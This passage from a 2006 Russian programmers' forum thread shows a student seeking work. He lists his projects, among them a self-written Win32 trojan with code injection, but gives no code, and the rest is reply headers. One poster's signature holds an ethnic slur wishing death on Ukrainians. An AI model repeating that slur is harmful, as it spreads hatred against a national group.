А>3. AutoLauncher 1.2 (написал по просьбе знакомого, у них есть сервер в местой сетке и есть программа, которая должна быть постоянно запущена, но иногда она падает, а мой AutoLauncher следит за этим и перезапускает эту программу в случае сбоя)
А>4. Троян под Win32 с применением инъекции кода для Windows 9x и все NT
А>5. Драйвер нулевого кольца под Windows 2000/XP/Server 2003, защищающий объекты системы от разных нехороших программ
А>6. ну и другое-разное...

А>Про пункты 4 и 5: я не хакер! Писал только в целях изучения Windows "изнутри"!

А>Проблема в том, что у меня ещё нет диплома об окончании Техникума там, или ВУЗа. Это первая проблема. Только через 2а года я закончу колледж. Но работа позарез нужна прямо сейчас!.. Есть госдиплом курсов (5 лет там отучился, 500 часов) с отличием. А вторая проблема — я учусь на дневном, но тут возможны варианты в зависимости от предложений. Могу и дома работать, если что.

А>Согласен даже на небольшую для начала зарплату! В принципе, я считаю, что уже поднакопил некоторое кол-во знаний для применения их в коммерческих продуктах. Если честно, я уже пишу коммерческий проект под .NET по своей иннициативе, это будет нечто революционное. Но это так, к слову. Конечно, я готов учиться, если я не знаю чего-то! Буду работать как проклятый!

А>Почему я пишу здесь... Я смотрел вакансии в этом форуме, но я думаю, мне не стоит туда соваться даже, т.к. где-то просят диплом об окончании чего-то, где-то опыт коммерческой разработки, где-то разговорный английский, или знания каких-либо технологий, которых я не знаю...

А>Возьмите меня хоть куда-нибудь!..

Оставьте свои координаты
nttlab@bk.ru

	От:	Аноним
	Дата:	12.09.06 11:48
	Оценка:

	От:	Unhandled_Exception
	Дата:	12.09.06 11:51
	Оценка:

	От:	Аноним
	Дата:	12.09.06 11:53
	Оценка:

	От:	Аноним
	Дата:	12.09.06 11:56
	Оценка:

	От:	Аноним
	Дата:	12.09.06 14:02
	Оценка:

От:	Valery A. Boronin	linkedin.com/in/boronin
Дата:	12.09.06 18:33
Оценка:	6 (2) +5 -1

От:	Denis	http://blogs.gotdotnet.ru/personal/Denis
Дата:	12.09.06 20:19
Оценка:	1 (1) +1 -1

	От:	FunnyRabbit
	Дата:	25.09.06 07:42
	Оценка:	1 (1) +3

От:	ijumper	va-sorokin.blogspot.com
Дата:	25.09.06 07:51
Оценка:	1 (1) +1

	От:	notacat
	Дата:	25.09.06 10:02
	Оценка:	10 (2) +1

От:	Dziman	http://github.com/Dziman
Дата:	26.09.06 13:07
Оценка:

	От:	Lonely Dog
	Дата:	26.09.06 13:55
	Оценка:	2 (1) +2

От:	Chipsеt	http://merlinko.com
Дата:	27.09.06 00:17
Оценка:	+2

От:	FDSC	consp11.github.io блог
Дата:	27.09.06 18:16
Оценка:

	От:	mogadanez
	Дата:	28.09.06 08:33
	Оценка:	1 (1) +3

	От:	trophim
	Дата:	15.09.06 20:49
	Оценка:

	От:	xtile
	Дата:	16.09.06 17:43
	Оценка:	+1

	От:	w00zle
	Дата:	24.09.06 16:40
	Оценка:

От:	_FRED_	@ViIvanov
Дата:	28.09.06 10:43
Оценка:	+1

От:	McSeem2	http://www.antigrain.com
Дата:	08.10.06 23:57
Оценка:

От:	erslgoeirjh	http://russianfellow.livejournal.com
Дата:	07.11.06 19:53
Оценка:

От:	Lazy Cjow Rhrr	lj://_lcr_
Дата:	08.11.06 08:50
Оценка:

От:	Tolyan	www.kbsoft-group.com
Дата:	11.02.08 06:56
Оценка:	+1

От:	RoloTomasi	Смерть хохлопидарам.
Дата:	08.11.08 14:59
Оценка:

От:	dimgel	https://github.com/dimgel
Дата:	10.11.08 16:55
Оценка: